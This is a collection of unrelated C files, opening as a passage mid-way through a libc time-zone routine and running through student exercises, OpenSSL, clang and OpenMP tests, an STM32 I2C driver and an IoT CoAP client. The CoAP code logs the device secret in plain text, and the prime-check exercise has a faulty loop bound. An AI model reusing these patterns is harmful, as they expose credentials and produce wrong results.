variables. ANSI wants none of * this. Several Unix implementations have tzset(), and few people are * going to be hurt by it, so it's included here but named as _tzset * so it does not violate ANSI */ /* set the timezone and dst flag to the local rules. Also sets the global variable tzname to the names of the timezones */ char *_tzname[2] = {"UCT", "UCT"}; void _tzset(void) { _timezone = tzoffset(getenv("TZ"), &dst); } /* * determine the difference, in seconds, between the given time zone * and Greenwich Mean. As a side effect, the integer pointed to * by hasdst is set to 1 if the given time zone follows daylight * savings time, 0 if there is no DST. * * Time zones are given as strings of the form * "[TZNAME][h][:m][TZDSTNAME]" where h:m gives the hours:minutes * east of GMT for the timezone (if [:m] does not appear, 0 is assumed). * If the final field, TZDSTNAME, appears, then the time zone follows * daylight savings time. * * Example: EST5EDT would represent the N. American Eastern time zone * CST6CDT would represent the N. American Central time zone * NFLD3:30NFLD would represent Newfoundland time (one and a * half hours ahead of Eastern). * OZCST-9:30 would represent the Australian central time zone. * (which, so I hear, doesn't have DST). * * NOTE: support for daylight savings time is currently very bogus. * It's probably best to do without, unless you live in North America. * */ #define TZNAMLEN 8 /* max. length of time zone name */ static time_t tzoffset(char *s, int *hasdst) { time_t off; int x, sgn = 1; static char stdname[TZNAMLEN+1], dstname[TZNAMLEN+1]; static char unknwn[4] = "???"; char *n; *hasdst = -1; /* Assume unknown */ if (!s || !*s) return 0; /* Assume GMT */ *hasdst = 0; n = stdname; while (*s && isalpha(*s)) { *n++ = *s++; /* skip name */ } *n = 0; /* now figure out the offset */ x = 0; if (*s == '-') { sgn = -1; s++; } while (isdigit(*s)) { x = 10 * x + toint(*s); s++; } off = x * SECS_PER_HOUR; if (*s == ':') { x = 0; s++; while (isdigit(*s)) { x = 10 * x + toint(*s); s++; } off += (x * SECS_PER_MIN); } n = dstname; if (isalpha(*s)) { *hasdst = 1; while (*s && isalpha(*s)) *n++ = *s++; } *n = 0; if (stdname[0]) _tzname[0] = stdname; else _tzname[0] = unknwn; if (dstname[0]) _tzname[1] = dstname; else _tzname[1] = stdname; return sgn * off; } /* * Given a tm struct representing the local time, determine whether * DST is currently in effect. This should only be * called if it is known that the time zone indeed supports DST. * * FIXME: For now, assume that everyone follows the North American * time zone rules, all the time. This means daylight savings * time is assumed to be in effect from the second Sunday in March * to the first Sunday in November. * */ static int indst(const struct tm *t) { if (t->tm_mon == 2) { /* March */ /* see if two sundays have happened yet */ if (7 + t->tm_wday - t->tm_mday < 0) return 1; /* yep */ return 0; } if (t->tm_mon == 10) { /* November */ /* has sunday happened yet? */ if (t->tm_wday - t->tm_mday < 0) return 0; /* yep */ return 1; } /* Otherwise, see if it's a month between March and November exclusive */ return (t->tm_mon > 2 && t->tm_mon < 10); } /* * provide weak aliases (so the user can override) for gmtime_r and localtime_r */ struct tm *gmtime_r(const time_t *t, struct tm *stm) __attribute__((weak,alias("_gmtime_r"))); struct tm *localtime_r(const time_t *t, struct tm *stm) __attribute__((weak,alias("_localtime_r")));
the_stack_data/7949220.c
#include <stdio.h> int main() { int n, i, flag = 0; printf("Enter a positive integer: "); scanf("%d", &n); for (i = 2; i < n / 2; ++i) { // condition for non-prime if (n % i == 0) { flag = 1; break; } } if (n == 1) { printf("1 is neither prime nor composite."); } else { if (flag == 0) printf("%d is a prime number.", n); else printf("%d is not a prime number.", n); } return 0; }
the_stack_data/76851.c
#pragma GCC diagnostic warning "-Wempty-translation-unit" #define EXPECTED_ERRORS "no declarations.c:2:58: warning: ISO C requires a translation unit to contain at least one declaration [-Wempty-translation-unit]"
the_stack_data/598098.c
#include <stdio.h> int main(void) { FILE *in,*out; char c=0; if((in=fopen("G:/school/Y1S1/Computing/Tut12/in.txt","r"))==NULL) { printf("Can't open file."); return 1; } out = fopen("out.txt","w"); //^I should check if this file can be created, or not. //So, I should do a if(out==NULL) //printf can't create file //return 1 /* TWO ANSWERS. THIS IS MY ANSWER 1. do { printf("entered while loop"); fscanf(in,"%c",&c); fprintf(out,"%c",c); } while (feof(in)==0); */ /* If fscanf reads 'EOF' instead of any character, it'll set feof as != 0. Thus when feof checks the status of the file 'in', it'll get !=0 for my second answer below, I suppose the check is done right after fscanf scans %c. fscanf returns the no. of arguments it has scanned. (aka, no of %'s captured successfully.) In this case, it's 1. So if it meets EOF, it'll return EOF. on the return value of fscanf (from cplusplus): On success, the function returns the number of items of the argument list successfully filled. This count can match the expected number of items or be less (even zero) due to a matching failure, a reading error, or the reach of the end-of-file. If a reading error happens or the end-of-file is reached while reading, the proper indicator is set (feof or ferror). And, if either happens before any data could be successfully read, EOF is returned. ***it seems that when EOF is reached while doing fscanf, fscanf will return BOTH EOF and ALSO set feof to 'EOF'. If not, ver 1 of my answer won't work because fscanf will never set feof to anything (if it ONLY returns EOF) */ //MY SECOND ANSWER. I prefer it because less lines of code hehe. //* while ((fscanf(in,"%c",&c))!=EOF) { printf("entered while loop"); fprintf(out,"%c",c); //just to test if I don't need a variable for fprintf //fprintf(out,"yesss"); } //*/ fclose(in); fclose(out); return 0; }
the_stack_data/159516660.c
/* * Filename: fold.c * Author: Thomas van der Burgt <[email protected]> * Date: 27-FEB-2010 * * The C Programming Language, second edition, * by Brian Kernighan and Dennis Ritchie * * Exercise 1-22, page 34 * * Write a program to "fold" long input lines into two or more shorter * lines after the last non-blank character that occurs before the n-th * column of input. Make sure your program does something intelligent * with very long lines, and if there are no blanks or tabs before the * specified column. */ #include <stdio.h> #include <stdlib.h> #define TABWIDTH 4 #define LINELENGTH 40 int main(void) { int i; int c, linelen, wordlen, wslen; char wordbuf[LINELENGTH]; linelen = wordlen = wslen = 0; while ((c = getchar()) != EOF) { if (c == ' ' || c == '\t') { wordbuf[wordlen] = '\0'; wslen = c == '\t' ? TABWIDTH : 1; if (linelen + wordlen > LINELENGTH) { putchar('\n'); linelen = wordlen; } else { linelen = linelen + wordlen; } printf("%s", wordbuf); if (linelen + wslen > LINELENGTH) { putchar('\n'); putchar(c); linelen = wslen; } else { putchar(c); linelen = linelen + wslen; } wordlen = 0; } else if (c == '\n') { wordbuf[wordlen] = '\0'; if (linelen + wordlen > LINELENGTH) putchar('\n'); printf("%s", wordbuf); putchar(c); linelen = wordlen = 0; } else { if (wordlen == LINELENGTH) { for (i = 0; i < LINELENGTH - 1; ++i) putchar(wordbuf[i]); putchar('-'); putchar('\n'); wordbuf[0] = wordbuf[LINELENGTH - 1]; wordlen = 1; linelen = 0; } wordbuf[wordlen] = c; wordlen = wordlen + 1; } } return EXIT_SUCCESS; }
the_stack_data/97012586.c
#include <stdio.h> int global_a[] = {1,2,3,4,5,6,7}; static int static_a[] = {1,2,3,4,5,6,7}; static double avg(int *a, int len) { double sum = 0; for (int i = 0; i < len; i++) sum += a[i]; return sum / len; } void my_print(int a[], int len, char name[]); int main() { int local_a[] = {1,2,3,4,5}; my_print(local_a, 5, "local_a"); my_print(global_a, 7, "global_a"); my_print(static_a, 7, "static_a"); return 0; } double sum(int a[], int len) { double sum = 0; for (int *p = a; p < a + len; sum+=*p, p++); return sum; } void my_print(int *a, int len, char *name) { printf("%s avg: %lf, sum: %lf\n", name, avg(a, len), sum(a, len)); }
the_stack_data/79847.c
#include <inttypes.h> #include <stdio.h> #include <openssl/err.h> #include <openssl/rand.h> #include <openssl/sha.h> void sha(char *ibuf, char obuf[20]) { SHA1(ibuf, 32, obuf); } static void bytetohex(uint8_t *byte, int bytelen, char *hex) { int j; for(j = 0; j < bytelen; j++) sprintf(&hex[2*j], "%02X", byte[j]); } static void hex2byte(const char *hex, uint8_t *byte) { while (*hex) { sscanf(hex, "%2hhx", byte++); hex += 2; } } //gcc opensslrand.c -o opensslrand -lcrypto //gcc -I/opt/local/include -L/opt/local/lib opensslrand.c -o opensslrand -lcrypto -lssl //while true;do ./opensslrand; sleep 10; done // "tail -f ~/workspace/tls-psk-server-client-example/test.bin" >> b int main() { //uint32_t v; unsigned char v[32]; unsigned char hex[65]; hex[64] = '\0'; if (RAND_bytes(v, 32) == 0) { ERR_print_errors_fp(stderr); return 1; } bytetohex(v, 32, hex); printf("%s\n",hex); FILE *out; out = fopen("keys","a"); // a for append, b for binary fwrite(hex, 64, 1, out); // write 32 bytes from our buffer fwrite("\n", 1, 1, out); fclose(out); unsigned char md[20]; unsigned char mdhex[41]; mdhex[40] = '\0'; sha(v, md); bytetohex(md, 20, mdhex); printf("%s\n",mdhex); unsigned char buffer[32]; unsigned char outhex[65]; #if 0 FILE *in; in = fopen("test.bin","rb"); // r for read, b for binary fread(buffer, sizeof(buffer), 1, in); fclose(in); bytetohex(buffer, 32, outhex); printf("%s\n",outhex); #endif return 0; }
the_stack_data/140765741.c
void foo() { int voodoo; voodoo = voodoo + 1; } // RUN: %clang -Wall -fsyntax-only %s --serialize-diagnostics %t // RUN: c-index-test -read-diagnostics %t 2>&1 | FileCheck %s // RUN: rm -f %t // NOTE: it is important that this test case only contain a single issue. This test case checks // if we can handle serialized diagnostics that contain only one diagnostic. // CHECK: {{.*}}serialized-diags-single-issue.c:3:12: warning: variable 'voodoo' is uninitialized when used here [-Wuninitialized] [Semantic Issue] // CHECK: Range: {{.*}}serialized-diags-single-issue.c:3:12 {{.*}}serialized-diags-single-issue.c:3:18 // CHECK: +-{{.*}}serialized-diags-single-issue.c:2:13: note: initialize the variable 'voodoo' to silence this warning [] // CHECK: +-Range: {{.*}}serialized-diags-single-issue.c:2:13 {{.*}}serialized-diags-single-issue.c:2:13 // CHECK: +-FIXIT: ({{.*}}serialized-diags-single-issue.c:2:13 - {{.*}}serialized-diags-single-issue.c:2:13): " = 0" // Test that we handle serializing diagnostics for multiple source files // RUN: %clang_cc1 -Wall -fsyntax-only %s %s -serialize-diagnostic-file %t // RUN: c-index-test -read-diagnostics %t 2>&1 | FileCheck -check-prefix=CHECK-MULT %s // RUN: rm -f %t // CHECK-MULT: {{.*}}serialized-diags-single-issue.c:3:12: warning: variable 'voodoo' is uninitialized when used here [-Wuninitialized] // CHECK-MULT: Range: {{.*}}serialized-diags-single-issue.c:3:12 {{.*}}serialized-diags-single-issue.c:3:18 // CHECK-MULT: +-{{.*}}serialized-diags-single-issue.c:2:13: note: initialize the variable 'voodoo' to silence this warning [] // CHECK-MULT: +-Range: {{.*}}serialized-diags-single-issue.c:2:13 {{.*}}serialized-diags-single-issue.c:2:13 // CHECK-MULT: +-FIXIT: ({{.*}}serialized-diags-single-issue.c:2:13 - {{.*}}serialized-diags-single-issue.c:2:13): " = 0" // CHECK-MULT: {{.*}}serialized-diags-single-issue.c:3:12: warning: variable 'voodoo' is uninitialized when used here [-Wuninitialized] // CHECK-MULT: Range: {{.*}}serialized-diags-single-issue.c:3:12 {{.*}}serialized-diags-single-issue.c:3:18 // CHECK-MULT: +-{{.*}}serialized-diags-single-issue.c:2:13: note: initialize the variable 'voodoo' to silence this warning [] // CHECK-MULT: +-Range: {{.*}}serialized-diags-single-issue.c:2:13 {{.*}}serialized-diags-single-issue.c:2:13 // CHECK-MULT: +-FIXIT: ({{.*}}serialized-diags-single-issue.c:2:13 - {{.*}}serialized-diags-single-issue.c:2:13): " = 0" // CHECK-MULT: Number of diagnostics: 2
the_stack_data/154828893.c
#include <stdio.h> int main() { int intspace; int *address; address = &intspace; // address = 0x100; *address = 65535; printf("%p: %08x (=%08x)\n", address, *address, intspace); // likely we must be worried about endianness, e.g. *((char*)address) = 0x00; *((char*)address+1) = 0x00; *((char*)address+2) = 0xff; *((char*)address+3) = 0xff; // if sizeof(int) == 4! // which maybe is not the best way of writing 32 bit values... printf("%p: %08x (=%08x)\n", address, *address, intspace); return 0; }
the_stack_data/242331162.c
// RUN: %libomp-compile-and-run 2>&1 | FileCheck %s // RUN: %libomp-cxx-compile-and-run 2>&1 | FileCheck %s #include <stdio.h> #include <omp.h> int main() { omp_display_env(0); printf("passed\n"); return 0; } // CHECK: OPENMP DISPLAY ENVIRONMENT BEGIN // CHECK: _OPENMP // CHECK: OPENMP DISPLAY ENVIRONMENT END
the_stack_data/36543.c
#include <stdio.h> int big_array[2000000]; int main() { int a,b; int r; r = scanf("%d %d",&a,&b); printf("%d\n",a+b); a += r; return 0; }
the_stack_data/11205.c
/** ****************************************************************************** * @file stm32f2xx_ll_i2c.c * @author MCD Application Team * @brief I2C LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2016 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32f2xx_ll_i2c.h" #include "stm32f2xx_ll_bus.h" #include "stm32f2xx_ll_rcc.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32F2xx_LL_Driver * @{ */ #if defined (I2C1) || defined (I2C2) || defined (I2C3) /** @defgroup I2C_LL I2C * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /* Private macros ------------------------------------------------------------*/ /** @addtogroup I2C_LL_Private_Macros * @{ */ #define IS_LL_I2C_PERIPHERAL_MODE(__VALUE__) (((__VALUE__) == LL_I2C_MODE_I2C) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_HOST) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_DEVICE) || \ ((__VALUE__) == LL_I2C_MODE_SMBUS_DEVICE_ARP)) #define IS_LL_I2C_CLOCK_SPEED(__VALUE__) (((__VALUE__) > 0U) && ((__VALUE__) <= LL_I2C_MAX_SPEED_FAST)) #define IS_LL_I2C_DUTY_CYCLE(__VALUE__) (((__VALUE__) == LL_I2C_DUTYCYCLE_2) || \ ((__VALUE__) == LL_I2C_DUTYCYCLE_16_9)) #define IS_LL_I2C_OWN_ADDRESS1(__VALUE__) ((__VALUE__) <= 0x000003FFU) #define IS_LL_I2C_TYPE_ACKNOWLEDGE(__VALUE__) (((__VALUE__) == LL_I2C_ACK) || \ ((__VALUE__) == LL_I2C_NACK)) #define IS_LL_I2C_OWN_ADDRSIZE(__VALUE__) (((__VALUE__) == LL_I2C_OWNADDRESS1_7BIT) || \ ((__VALUE__) == LL_I2C_OWNADDRESS1_10BIT)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup I2C_LL_Exported_Functions * @{ */ /** @addtogroup I2C_LL_EF_Init * @{ */ /** * @brief De-initialize the I2C registers to their default reset values. * @param I2Cx I2C Instance. * @retval An ErrorStatus enumeration value: * - SUCCESS I2C registers are de-initialized * - ERROR I2C registers are not de-initialized */ uint32_t LL_I2C_DeInit(I2C_TypeDef *I2Cx) { ErrorStatus status = SUCCESS; /* Check the I2C Instance I2Cx */ assert_param(IS_I2C_ALL_INSTANCE(I2Cx)); if (I2Cx == I2C1) { /* Force reset of I2C clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C1); /* Release reset of I2C clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C1); } else if (I2Cx == I2C2) { /* Force reset of I2C clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C2); /* Release reset of I2C clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C2); } else if (I2Cx == I2C3) { /* Force reset of I2C clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C3); /* Release reset of I2C clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C3); } else { status = ERROR; } return status; } /** * @brief Initialize the I2C registers according to the specified parameters in I2C_InitStruct. * @param I2Cx I2C Instance. * @param I2C_InitStruct pointer to a @ref LL_I2C_InitTypeDef structure. * @retval An ErrorStatus enumeration value: * - SUCCESS I2C registers are initialized * - ERROR Not applicable */ uint32_t LL_I2C_Init(I2C_TypeDef *I2Cx, LL_I2C_InitTypeDef *I2C_InitStruct) { LL_RCC_ClocksTypeDef rcc_clocks; /* Check the I2C Instance I2Cx */ assert_param(IS_I2C_ALL_INSTANCE(I2Cx)); /* Check the I2C parameters from I2C_InitStruct */ assert_param(IS_LL_I2C_PERIPHERAL_MODE(I2C_InitStruct->PeripheralMode)); assert_param(IS_LL_I2C_CLOCK_SPEED(I2C_InitStruct->ClockSpeed)); assert_param(IS_LL_I2C_DUTY_CYCLE(I2C_InitStruct->DutyCycle)); assert_param(IS_LL_I2C_OWN_ADDRESS1(I2C_InitStruct->OwnAddress1)); assert_param(IS_LL_I2C_TYPE_ACKNOWLEDGE(I2C_InitStruct->TypeAcknowledge)); assert_param(IS_LL_I2C_OWN_ADDRSIZE(I2C_InitStruct->OwnAddrSize)); /* Disable the selected I2Cx Peripheral */ LL_I2C_Disable(I2Cx); /* Retrieve Clock frequencies */ LL_RCC_GetSystemClocksFreq(&rcc_clocks); /*---------------------------- I2Cx SCL Clock Speed Configuration ------------ * Configure the SCL speed : * - ClockSpeed: I2C_CR2_FREQ[5:0], I2C_TRISE_TRISE[5:0], I2C_CCR_FS, * and I2C_CCR_CCR[11:0] bits * - DutyCycle: I2C_CCR_DUTY[7:0] bits */ LL_I2C_ConfigSpeed(I2Cx, rcc_clocks.PCLK1_Frequency, I2C_InitStruct->ClockSpeed, I2C_InitStruct->DutyCycle); /*---------------------------- I2Cx OAR1 Configuration ----------------------- * Disable, Configure and Enable I2Cx device own address 1 with parameters : * - OwnAddress1: I2C_OAR1_ADD[9:8], I2C_OAR1_ADD[7:1] and I2C_OAR1_ADD0 bits * - OwnAddrSize: I2C_OAR1_ADDMODE bit */ LL_I2C_SetOwnAddress1(I2Cx, I2C_InitStruct->OwnAddress1, I2C_InitStruct->OwnAddrSize); /*---------------------------- I2Cx MODE Configuration ----------------------- * Configure I2Cx peripheral mode with parameter : * - PeripheralMode: I2C_CR1_SMBUS, I2C_CR1_SMBTYPE and I2C_CR1_ENARP bits */ LL_I2C_SetMode(I2Cx, I2C_InitStruct->PeripheralMode); /* Enable the selected I2Cx Peripheral */ LL_I2C_Enable(I2Cx); /*---------------------------- I2Cx CR2 Configuration ------------------------ * Configure the ACKnowledge or Non ACKnowledge condition * after the address receive match code or next received byte with parameter : * - TypeAcknowledge: I2C_CR2_NACK bit */ LL_I2C_AcknowledgeNextData(I2Cx, I2C_InitStruct->TypeAcknowledge); return SUCCESS; } /** * @brief Set each @ref LL_I2C_InitTypeDef field to default value. * @param I2C_InitStruct Pointer to a @ref LL_I2C_InitTypeDef structure. * @retval None */ void LL_I2C_StructInit(LL_I2C_InitTypeDef *I2C_InitStruct) { /* Set I2C_InitStruct fields to default values */ I2C_InitStruct->PeripheralMode = LL_I2C_MODE_I2C; I2C_InitStruct->ClockSpeed = 5000U; I2C_InitStruct->DutyCycle = LL_I2C_DUTYCYCLE_2; I2C_InitStruct->OwnAddress1 = 0U; I2C_InitStruct->TypeAcknowledge = LL_I2C_NACK; I2C_InitStruct->OwnAddrSize = LL_I2C_OWNADDRESS1_7BIT; } /** * @} */ /** * @} */ /** * @} */ #endif /* I2C1 || I2C2 || I2C3 */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/165764826.c
/* Exercise 1 - Calculations Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */ #include <stdio.h> int main() { int sub_1, sub_2; float average; printf("Enter Marks for Subject 1 : "); scanf("%d", &sub_1); printf("Enter Marks for Subject 2 : "); scanf("%d", &sub_2); average = (sub_1 + sub_2)/2.0; printf("The average is %.2f", average); return 0; }
the_stack_data/528996.c
#ifdef COAP_COMM_ENABLED #include "iot_import.h" #include "iotx_cm.h" #include "iotx_cm_internal.h" #include "iotx_cm_coap.h" #include "lite-list.h" #include "utils_timer.h" #include "iotx_utils.h" #include "iotx_system.h" #ifdef COAP_DTLS_SUPPORT //DTLS #ifdef ON_DAILY #define IOTX_COAP_SERVER_URI "coaps://11.239.164.238:5684" #else #ifdef ON_PRE #define IOTX_COAP_SERVER_URI "coaps://pre.coap.cn-shanghai.link.aliyuncs.com:5684" #else //online #define IOTX_COAP_SERVER_URI "coaps://%s.coap.cn-shanghai.link.aliyuncs.com:5684" #endif #endif #else #ifdef COAP_PSK_SUPPORT //PSK #ifdef ON_DAILY #define IOTX_COAP_SERVER_URI "coap-psk://10.101.83.159:5682" #else #ifdef ON_PRE #define IOTX_COAP_SERVER_URI "coap-psk://pre.coap.cn-shanghai.link.aliyuncs.com:5682" #else //online #define IOTX_COAP_SERVER_URI "coap-psk://%s.coap.cn-shanghai.link.aliyuncs.com:5682" #endif #endif #else //UDP #ifdef ON_DAILY #define IOTX_COAP_SERVER_URI "" #else #ifdef ON_PRE #define IOTX_COAP_SERVER_URI "coap://pre.iot-as-coap.cn-shanghai.aliyuncs.com:5683" #else //online #define IOTX_COAP_SERVER_URI "coap://%s.coap.cn-shanghai.link.aliyuncs.com:5683" #endif #endif #endif #endif extern uint32_t IOT_CoAP_GetCurToken(iotx_coap_context_t *p_context); int IOT_CoAP_GetMessageToken(void *p_message, unsigned int *token); static struct list_head g_coap_response_list = LIST_HEAD_INIT(g_coap_response_list); static iotx_cm_connection_t *_coap_conncection = NULL; static int iotx_set_devinfo(iotx_device_info_t *p_devinfo); static int _coap_connect(uint32_t timeout); static int _coap_publish(iotx_cm_ext_params_t *params, const char *topic, const char *payload, unsigned int payload_len); static int _coap_sub(iotx_cm_ext_params_t *params, const char *topic, iotx_cm_data_handle_cb topic_handle_func, void *pcontext); static iotx_msg_type_t _get_coap_qos(iotx_cm_ack_types_t ack_type); static int _coap_unsub(const char *topic); static int _coap_close(); static void _set_common_handlers(); iotx_cm_connection_t *iotx_cm_open_coap(iotx_cm_init_param_t *params) { iotx_coap_config_t *coap_config = NULL; iotx_device_info_t *deviceinfo = NULL; if (_coap_conncection != NULL) { CM_WARN("mqtt connection is opened already,return it"); return _coap_conncection; } POINTER_SANITY_CHECK(params, NULL); _coap_conncection = (iotx_cm_connection_t *)cm_malloc(sizeof(iotx_cm_connection_t)); if (_coap_conncection == NULL) { CM_ERR("_coap_conncection malloc failed!"); goto failed; } _coap_conncection->list_lock = HAL_MutexCreate(); if (_coap_conncection->list_lock == NULL) { CM_ERR("list_lock create failed!"); goto failed; } coap_config = (iotx_coap_config_t *)cm_malloc(sizeof(iotx_coap_config_t)); if (coap_config == NULL) { CM_ERR("coap_config malloc failed!"); goto failed; } memset(coap_config, 0, sizeof(iotx_coap_config_t)); deviceinfo = (iotx_device_info_t *)cm_malloc(sizeof(iotx_device_info_t)); if (deviceinfo == NULL) { CM_ERR("deviceinfo malloc failed!"); goto failed; } _coap_conncection->open_params = coap_config; memset(deviceinfo, 0, sizeof(iotx_device_info_t)); iotx_set_devinfo(deviceinfo); coap_config->wait_time_ms = params->request_timeout_ms; coap_config->p_devinfo = deviceinfo; // coap_config->p_url = IOTX_COAP_SERVER_URI; _coap_conncection->event_handler = params->handle_event; _set_common_handlers(); return _coap_conncection; failed: if (_coap_conncection != NULL) { if (_coap_conncection->list_lock != NULL) { HAL_MutexDestroy(_coap_conncection->list_lock); } cm_free(_coap_conncection); _coap_conncection = NULL; } if (coap_config != NULL) { cm_free(coap_config); } if (deviceinfo != NULL) { cm_free(deviceinfo); } return NULL; } static int iotx_set_devinfo(iotx_device_info_t *p_devinfo) { if (NULL == p_devinfo) { return IOTX_ERR_INVALID_PARAM; } memset(p_devinfo, 0x00, sizeof(iotx_device_info_t)); /**< get device info*/ HAL_GetProductKey(p_devinfo->product_key); HAL_GetDeviceName(p_devinfo->device_name); HAL_GetDeviceSecret(p_devinfo->device_secret); HAL_GetDeviceID(p_devinfo->device_id); /**< end*/ CM_INFO("*****The Product Key : %s *****\r\n", p_devinfo->product_key); CM_INFO("*****The Device Name : %s *****\r\n", p_devinfo->device_name); CM_INFO("*****The Device Secret: %s *****\r\n", p_devinfo->device_secret); CM_INFO("*****The Device ID : %s *****\r\n", p_devinfo->device_id); return IOTX_SUCCESS; } static int _coap_connect(uint32_t timeout) { int ret; char url[100] = {0}; iotx_time_t timer; iotx_coap_config_t *config = NULL; iotx_coap_context_t *p_ctx = NULL; char product_key[PRODUCT_KEY_LEN + 1] = {0}; POINTER_SANITY_CHECK(_coap_conncection, NULL_VALUE_ERROR); HAL_GetProductKey(product_key); config = _coap_conncection->open_params; POINTER_SANITY_CHECK(config, NULL_VALUE_ERROR); HAL_Snprintf(url, 100, IOTX_COAP_SERVER_URI, product_key); config->p_url = url; iotx_time_init(&timer); utils_time_countdown_ms(&timer, timeout); do { if (p_ctx == NULL) { p_ctx = IOT_CoAP_Init(config); if (NULL == p_ctx) { continue; } } ret = IOT_CoAP_DeviceNameAuth(p_ctx); if (ret == 0) { _coap_conncection->context = p_ctx; iotx_cm_event_msg_t event; event.type = IOTX_CM_EVENT_CLOUD_CONNECTED; event.msg = NULL; if (_coap_conncection->event_handler) { _coap_conncection->event_handler(_coap_conncection->fd, &event, (void *)_coap_conncection); } return 0; } } while (!utils_time_is_expired(&timer)); iotx_cm_event_msg_t event; event.type = IOTX_CM_EVENT_CLOUD_CONNECT_FAILED; event.msg = NULL; if (_coap_conncection->event_handler) { _coap_conncection->event_handler(_coap_conncection->fd, &event, (void *)_coap_conncection); } CM_ERR("mqtt connect failed"); return -1; } static void _coap_response_default(void *p_arg, void *p_message) { int ret; int len = 0; unsigned char *p_payload = NULL; unsigned int token; iotx_coap_resp_code_t resp_code; if (_coap_conncection == NULL || p_message == NULL) { CM_ERR("paras err"); return; } ret = IOT_CoAP_GetMessageCode(p_message, &resp_code); if (ret < 0) { CM_ERR("get msg code err"); return; } CM_INFO("resp_code = %d", resp_code); ret = IOT_CoAP_GetMessagePayload(p_message, &p_payload, &len); if (ret < 0) { CM_ERR("get msg payload err"); return; } ret = IOT_CoAP_GetMessageToken(p_message, &token); if (ret < 0) { CM_ERR("get msg token err"); return; } coap_response_node_t *node = NULL; coap_response_node_t *next = NULL; HAL_MutexLock(_coap_conncection->list_lock); list_for_each_entry_safe(node, next, &g_coap_response_list, linked_list, coap_response_node_t) { if (node->token_num == token) { iotx_cm_data_handle_cb recieve_cb = node->responce_cb; void *context = node->context; unsigned int topic_len = strlen(node->topic) + 1; char *topic = cm_malloc(topic_len); if (topic == NULL) { CM_ERR("topic malloc failed"); continue; } memset(topic, 0, topic_len); strncpy(topic, node->topic, topic_len); list_del(&node->linked_list); cm_free(node->topic); cm_free(node); HAL_MutexUnlock(_coap_conncection->list_lock); //do not lock while callback recieve_cb(_coap_conncection->fd, topic, (const char *)p_payload, len, context); //recieve_cb(_coap_conncection->fd, &msg, context); cm_free(topic); HAL_MutexLock(_coap_conncection->list_lock); } } HAL_MutexUnlock(_coap_conncection->list_lock); } static int _coap_publish(iotx_cm_ext_params_t *ext, const char *topic, const char *payload, unsigned int payload_len) { iotx_msg_type_t qos = 0; iotx_message_t message; uint32_t token; int topic_len; int ret; POINTER_SANITY_CHECK(_coap_conncection, NULL_VALUE_ERROR); if (ext != NULL) { qos = _get_coap_qos(ext->ack_type); } memset(&message, 0, sizeof(iotx_message_t)); message.p_payload = (unsigned char *)payload; message.payload_len = payload_len; message.resp_callback = _coap_response_default; message.msg_type = qos; message.content_type = IOTX_CONTENT_TYPE_JSON; token = IOT_CoAP_GetCurToken((iotx_coap_context_t *)_coap_conncection->context); ret = IOT_CoAP_SendMessage((iotx_coap_context_t *)_coap_conncection->context, (char *)topic, &message); if (ret < 0) { return -1; } if (ext != NULL && ext->ack_cb != NULL) { coap_response_node_t *node; node = (coap_response_node_t *)cm_malloc(sizeof(coap_response_node_t)); if (node == NULL) { return -1; } memset(node, 0, sizeof(coap_response_node_t)); topic_len = strlen(topic) + 1; node->topic = (char *)cm_malloc(topic_len); if (node->topic == NULL) { cm_free(node); return -1; } memset(node->topic, 0, topic_len); strncpy(node->topic, topic, topic_len); node->user_data = _coap_conncection; node->responce_cb = ext->ack_cb; node->context = ext->cb_context; node->token_num = token; HAL_MutexLock(_coap_conncection->list_lock); list_add_tail(&node->linked_list, &g_coap_response_list); HAL_MutexUnlock(_coap_conncection->list_lock); } return 0; } static int _coap_yield(uint32_t timeout) { POINTER_SANITY_CHECK(_coap_conncection, NULL_VALUE_ERROR); return IOT_CoAP_Yield((iotx_coap_context_t *)_coap_conncection->context); } static int _coap_sub(iotx_cm_ext_params_t *ext, const char *topic, iotx_cm_data_handle_cb topic_handle_func, void *pcontext) { return 0; } static int _coap_unsub(const char *topic) { return 0; } static int _coap_close() { POINTER_SANITY_CHECK(_coap_conncection, NULL_VALUE_ERROR); coap_response_node_t *node = NULL; coap_response_node_t *next = NULL; iotx_coap_config_t *coap_config = (iotx_coap_config_t *)_coap_conncection->open_params; HAL_MutexLock(_coap_conncection->list_lock); list_for_each_entry_safe(node, next, &g_coap_response_list, linked_list, coap_response_node_t) { cm_free(node->topic); list_del(&node->linked_list); cm_free(node); } HAL_MutexUnlock(_coap_conncection->list_lock); if (_coap_conncection->list_lock != NULL) { HAL_MutexDestroy(_coap_conncection->list_lock); } cm_free(coap_config->p_devinfo); cm_free(coap_config); IOT_CoAP_Deinit(&_coap_conncection->context); cm_free(_coap_conncection); _coap_conncection = NULL; return 0; } static iotx_msg_type_t _get_coap_qos(iotx_cm_ack_types_t ack_type) { switch (ack_type) { case IOTX_CM_MESSAGE_NO_ACK: return IOTX_MESSAGE_NON; case IOTX_CM_MESSAGE_NEED_ACK: return IOTX_MESSAGE_CON; default: return IOTX_MESSAGE_CON; } } static void _set_common_handlers() { if (_coap_conncection != NULL) { _coap_conncection->connect_func = _coap_connect; _coap_conncection->sub_func = _coap_sub; 